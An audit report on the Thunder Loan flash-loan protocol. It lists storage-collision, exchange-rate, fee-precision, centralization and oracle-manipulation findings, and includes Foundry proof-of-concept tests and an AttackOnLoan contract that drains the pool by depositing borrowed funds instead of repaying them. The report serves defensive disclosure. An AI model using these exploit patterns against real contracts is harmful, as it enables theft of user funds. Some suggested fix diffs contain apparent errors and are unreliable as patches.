
BELLUM
GALAXY

Table of Contents

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- **Project Name:**
  - Thunder Loan
- **Smart Contract Address:**
  - Not deployed
- **Audit Date:**
  - 22/02/2024
- **Audit Tools Used:**
  - Stateless Fuzz
  - Stateful Fuzz
  - Code Review
- **Auditors:**
  - Barba

Protocol Summary

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	1
Info	0
Total	7

Audit Findings

High Severity Vulnerabilities

- **Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`**
    - **Description:**
        - `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

- However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

- Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

- **Impact:**
  - After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.
- **Proof of Concept:**

▶ See the code below

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from
"../../src/upgradedProtocol/ThunderLoanUpgraded.sol";

    function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

- **Recommendation:**
  - Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

▶ See the

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
```

```
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

- **Unnecessary `updateExchangeRate` in `deposit` function incorrectly updates `exchangeRate` preventing withdraws and unfairly changing reward distribution**
  - **Description:**
    - Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens.
    - This does not match with documentation and will end up causing exchange rate to increase on deposit.
    - This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner.

    ▶ See the code below

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken),
amount);
    }
```

  - **Impact:**
    - Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all.
  - **Proof of Concept:**

    ▶ Add the code below to `ThunderLoanTest.t.sol`

```
function testExchangeRateUpdatedOnDeposit() public setAllowedToken {
  tokenA.mint(liquidityProvider, AMOUNT);
  tokenA.mint(user, AMOUNT);

  // deposit some tokenA into ThunderLoan
```

```
    vm.startPrank(liquidityProvider);
    tokenA.approve(address(thunderLoan), AMOUNT);
    thunderLoan.deposit(tokenA, AMOUNT);
    vm.stopPrank();

    // another user also makes a deposit
    vm.startPrank(user);
    tokenA.approve(address(thunderLoan), AMOUNT);
    thunderLoan.deposit(tokenA, AMOUNT);
    vm.stopPrank();

    AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);

    // after a deposit, asset token's exchange rate has aleady increased
    // this is only supposed to happen when users take flash loans with
underlying
    assertGt(assetToken.getExchangeRate(), 1 *
assetToken.EXCHANGE_RATE_PRECISION());

    // now liquidityProvider withdraws and gets more back because
exchange
    // rate is increased but no flash loans were taken out yet
    // repeatedly doing this could drain all underlying for any asset
token
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider));
    vm.stopPrank();

    assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT);
  }
```

- **Recommendation:**
  - It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation.

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
      AssetToken assetToken = s_tokenToAssetToken[token];
      uint256 exchangeRate = assetToken.getExchangeRate();
      uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
      emit Deposit(msg.sender, token, amount);
      assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
      token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

- **By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol**

    - **Description:**

        - Once a flashloan is requested, the `ThunderLoan.sol` contract only verifies if the contract has the balance before the transaction end. So, a person can call the flashloan and deposit the value from the flashloan in the pool. The contract will verify that the balance is the same and will not revert. However, the user can withdraw the fake investment and steal the money.

    - **Impact:**

        - Users can use the flashloan to steal the protocol money.

    - **Proof of Concept:**

    ▶ Add the code below to `ThunderLoanTest.t.sol` file

```
    //Function
    function testDepositFlashLoanExploit() public setAllowedToken
hasDeposits {
        uint256 amountToBorrow = 10 * 10e18;
        uint256 amountToMint = 1 * 10e18;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);

        vm.startPrank(user);
        attack = new AttackOnLoan(address(thunderLoan),
address(tokenA));

        tokenA.mint(address(attack), amountToMint);
        thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
"");

        vm.stopPrank();

        attack.withdraw();


        assertEq(attack.getBalanceDuring(), amountToBorrow +
amountToMint); //110_000_000_000_000_000_000
        assertEq(attack.getBalanceAfter(), amountToMint -
calculatedFee); //9_700_000_000_000_000_000

        uint256 stolenValue = tokenA.balanceOf(address(attack));
        console.log(stolenValue); // 19_434_680_952_071_423_934
    }

    //Malicious Contract
    contract AttackOnLoan {
        error AttackOnLoan__onlyOwner();
```

```
        error AttackOnLoan__onlyThunderLoan();

        using SafeERC20 for IERC20;

        address s_owner;
        ThunderLoan s_thunderLoan;

        uint256 s_balanceDuringFlashLoan;
        uint256 s_balanceAfterFlashLoan;

        IERC20 token;

        constructor(address thunderLoan, address _token) {
            s_owner = msg.sender;
            token = IERC20(_token);
            s_thunderLoan = ThunderLoan(thunderLoan);
            s_balanceDuringFlashLoan = 0;
        }

        function executeOperation(
            address _token,
            uint256 amount,
            uint256 fee,
            address initiator,
            bytes calldata /*  params */
        )
            external
            returns (bool)
        {
            s_balanceDuringFlashLoan =
IERC20(_token).balanceOf(address(this));
            if (initiator != s_owner) {
                revert AttackOnLoan__onlyOwner();
            }
            if (msg.sender != address(s_thunderLoan)) {
                revert AttackOnLoan__onlyThunderLoan();
            }

            IERC20(_token).approve(address(s_thunderLoan), amount +
fee);
            s_thunderLoan.deposit(IERC20(_token), amount + fee);
            s_balanceAfterFlashLoan =
IERC20(_token).balanceOf(address(this));
            return true;
        }

        function getBalanceDuring() external view returns (uint256) {
            return s_balanceDuringFlashLoan;
        }

        function getBalanceAfter() external view returns (uint256) {
            return s_balanceAfterFlashLoan;
        }
```

```
        function withdraw() public {
            s_thunderLoan.redeem(token,
token.balanceOf(address(this)));
        }
    }
```

- **Recommendation:**

  ▶ Adjust the code as follows

```
+   struct LoanControl{
+       IERC20 token;
+       uint256 amount;
+       uint256 fee;
+   }

+   mapping(address user => LoanControl) private loanAmount;

    function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 startingBalance =
IERC20(token).balanceOf(address(assetToken));

        if (amount > startingBalance) {
            revert ThunderLoan__NotEnoughTokenBalance(startingBalance,
amount);
        }

        if (receiverAddress.code.length == 0) {
            revert ThunderLoan__CallerIsNotContract();
        }

        uint256 fee = getCalculatedFee(token, amount);
        // slither-disable-next-line reentrancy-vulnerabilities-2
reentrancy-vulnerabilities-3
        assetToken.updateExchangeRate(fee);

+       loanAmount[msg.sender] = LoanControl({
+           token: token,
+           amount: amount,
+           fee: fee
```

```
+       });

        emit FlashLoan(receiverAddress, token, amount, fee, params);

        s_currentlyFlashLoaning[token] = true;

        assetToken.transferUnderlyingTo(receiverAddress, amount);
        // slither-disable-next-line unused-return reentrancy-
vulnerabilities-2
        receiverAddress.functionCall(
            abi.encodeCall(
                IFlashLoanReceiver.executeOperation,
                (
                    address(token),
                    amount,
                    fee,
                    msg.sender, // initiator
                    params
                )
            )
        );


-       uint256 endingBalance = token.balanceOf(address(assetToken));
-       if (endingBalance < startingBalance + fee) {
+       if (loanAmount[msg.sender].amount >= 1) {
-           revert ThunderLoan__NotPaidBack(startingBalance + fee,
endingBalance);
+           revert ThunderLoan__NotPaidBack(startingBalance + fee,
loanAmount[msg.sender].amount);
        }
        s_currentlyFlashLoaning[token] = false;
    }

    function repay(IERC20 token, uint256 amount) public {
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }

+       loanAmount[msg.sender].amount = loanAmount[msg.sender].amount -
(amount - loanAmount[msg.sender].fee);

        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken),
amount);
    }
```

- **fee are less for non standard ERC20 Token**
    - **Description:**

- Within the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

  ▶ `ThunderLoan.sol`

```
    function getCalculatedFee(IERC20 token, uint256 amount) public
view returns (uint256 fee) {
@>        uint256 valueOfBorrowedToken = (amount *
getPriceInWeth(address(token))) / s_feePrecision;
        fee = (valueOfBorrowedToken * s_flashLoanFee) /
s_feePrecision;
    }
```

```
//ThunderLoanUpgraded.sol

function getCalculatedFee(IERC20 token, uint256 amount) public
view returns (uint256 fee) {
@>        uint256 valueOfBorrowedToken = (amount *
getPriceInWeth(address(token))) / FEE_PRECISION;
@>        fee = (valueOfBorrowedToken * s_flashLoanFee) /
FEE_PRECISION;
    }
```

- **Impact:**
  - Let's say:
  - user_1 asks a flashloan for 1 ETH.
  - user_2 asks a flashloan for 2000 USDT.

    ▶ See the code below

```
function getCalculatedFee(IERC20 token, uint256 amount) public
view returns (uint256 fee) {

        //1 ETH = 1e18 WEI
        //2000 USDT = 2 * 1e9 WEI

        uint256 valueOfBorrowedToken = (amount *
getPriceInWeth(address(token))) / s_feePrecision;

        // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
        // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI
```

```
        fee = (valueOfBorrowedToken * s_flashLoanFee) /
s_feePrecision;

        //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
        //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI =
0,000000000006 ETH
    }
```

The fee for the user_2 are much lower then user_1 despite they asks a flashloan for the same value (hypotesis 1 ETH = 2000 USDT).

- **Proof of Concept:**
- **Recommendation:**
  - Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

Medium Severity Vulnerabilities

- **Centralization risk for trusted owners**
  - **Description:**
    - Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

```
    File: src/protocol/ThunderLoan.sol

    223:     function setAllowedToken(IERC20 token, bool allowed)
external onlyOwner returns (AssetToken) {

    261:     function _authorizeUpgrade(address newImplementation)
internal override onlyOwner { }
```

  - **Impact:**
    1. A malicious user can take control over the protocol and blacklist tokens blocking withdraws.
    2. An arbitrary new implementation can change critical protocol functions leading to exploits.
  - **Proof of Concept:**
    1. Call `ThunderLoan.sol::setAllowedToken` inputing allowed as false.
    2. The stablecoin will be deleted.
    3. User can't withdraw anymore.
  - **Recommendation:**
    1. Implement the code bellow.

▶ Create a new mapping and Adjust the code of `ThunderLoan.sol::setAllowedToken` as follows

```
+   mapping(IERC20 token => bool allowed) private isAllowedForDeposits;

    function setAllowedToken(IERC20 token, bool allowed) external
onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ",
IERC20Metadata(address(token)).name());
            string memory symbol = string.concat("tl",
IERC20Metadata(address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this),
token, name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
+           if(token.balanceOf(address(this)) < 1){
              AssetToken assetToken = s_tokenToAssetToken[token];
              delete s_tokenToAssetToken[token];
              emit AllowedTokenSet(token, assetToken, allowed);
              return assetToken;
+           } else {
+               isAllowedForDeposits[token] = allowed;
+               emit AllowedTokenSet(token, assetToken, allowed);
+               return assetToken;
+           }
        }
    }
```

▶ Adjust the code of `ThunderLoan.sol::deposit` as follows

```
+   error ThunderLoan__ThisTokenIsNotAllowedForDepositsAnymore();

    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
+     if(isAllowedForDeposits[token] == false){
+       revert ThunderLoan__ThisTokenIsNotAllowedForDepositsAnymore();
+     }

      AssetToken assetToken = s_tokenToAssetToken[token];
      uint256 exchangeRate = assetToken.getExchangeRate();
      uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
      emit Deposit(msg.sender, token, amount);
```

```
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

2.Upgradability 2.1 Remove Upgrade funcionalities 2.2 Stablish a consul to take this kind of decision

- **Using TSwap as price oracle leads to price and oracle manipulation attacks**
  - **Description:**
    - The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.
  - **Impact:**
    - Liquidity providers will drastically reduced fees for providing liquidity.
  - **Proof of Concept:**
    - The following all happens in 1 transaction.
      1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following: i. User sells 1000 `tokenA`, tanking the price. ii. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`. a. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view
returns (uint256) {
        address swapPoolOfToken =
IPoolFactory(s_poolFactory).getPool(token);
@>      return
ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

      2. The user then repays the first flash loan, and then repays the second flash loan.
  - **Recommendation:**
    - Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low Severity Vulnerabilities

- **Missing critial event emissions**
  - **Description:**
    - When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.
  - **Impact:**
  - **Proof of Concept:**
  - **Recommendation:**

    - Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
{
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```